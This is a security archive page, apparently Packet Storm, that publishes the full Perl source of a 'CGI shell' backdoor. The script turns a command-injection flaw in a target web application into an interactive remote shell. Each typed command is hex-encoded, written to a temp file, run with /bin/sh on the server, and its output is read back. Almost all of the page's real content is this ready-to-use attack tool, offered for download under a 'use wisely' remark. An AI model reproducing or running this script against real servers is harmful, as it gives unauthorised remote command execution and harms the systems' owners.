exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Perl CGI Shell

Perl CGI Shell
Posted Oct 15, 2011
Authored by Marshall Whittaker

This is a Perl CGI backdoor that provides shell-like capability.

tags | tool, shell, cgi, perl, rootkit
systems | unix
SHA-256 | 09fc7f09f2300df12f0b671a4184d8050707a0d7248afe5344459a60b8ed9388

Perl CGI Shell

Change Mirror Download
#!/usr/bin/perl

# adaptive cgi shell by oxagast

use LWP::Simple;
$part1 = @ARGV[0]; $part2 = @ARGV[1];
print "Making buffer...\n";
for $bet (100..200) {
$bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";
}
print "Exploiting...\n";
$id = get("$part1\|id\|$part2");
$id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;
print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";
$uid = $1;
print "$uid\n";
while (0 == 0) {
print "\$ ";
$cmd = <STDIN>;
chomp($cmd);
if ($cmd =~ m/cd (\/.*)/) {
$dir = $1;
}
if ($cmd eq "cd ..") {
$dir =~ s/(.*)\/.*/\/\1/;
}
if ($cmd eq "pwd") {
$dirjunk = $dir;
if ($dirjunk eq "//") {
$dirjunk = "/";
}
}
$dirjunk = "cd $dir\;$cmd";
$cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");
$cmdhex =~ s/(..)/\\\\x$1/g;
get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");
$backjunk2 = get("$part1\|cat /tmp/buff\|$part2");
@backjunk = split("\n", $backjunk2);
get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");
get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");
$backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");
@backjunk_split = split("\n", $backjunk_as);
$backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");
$backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;
$thismanylines = $1 - 1;
for $junknum (0..scalar(@backjunk_split)) {
for $fuzz (10..100+$thismanylines) {
if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {
$middle = $1;
@backjunk[$junknum] =~ m/(.*)\Q$middle\E/;
@backjunk_split[$junknum] =~ s/$1//;
@backjunk[$junknum] =~ m/\Q$middle\E(.*)/;
@backjunk_split[$junknum] =~ s/$1//;
print "$backjunk_split[$junknum]\n";
}
}
}
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close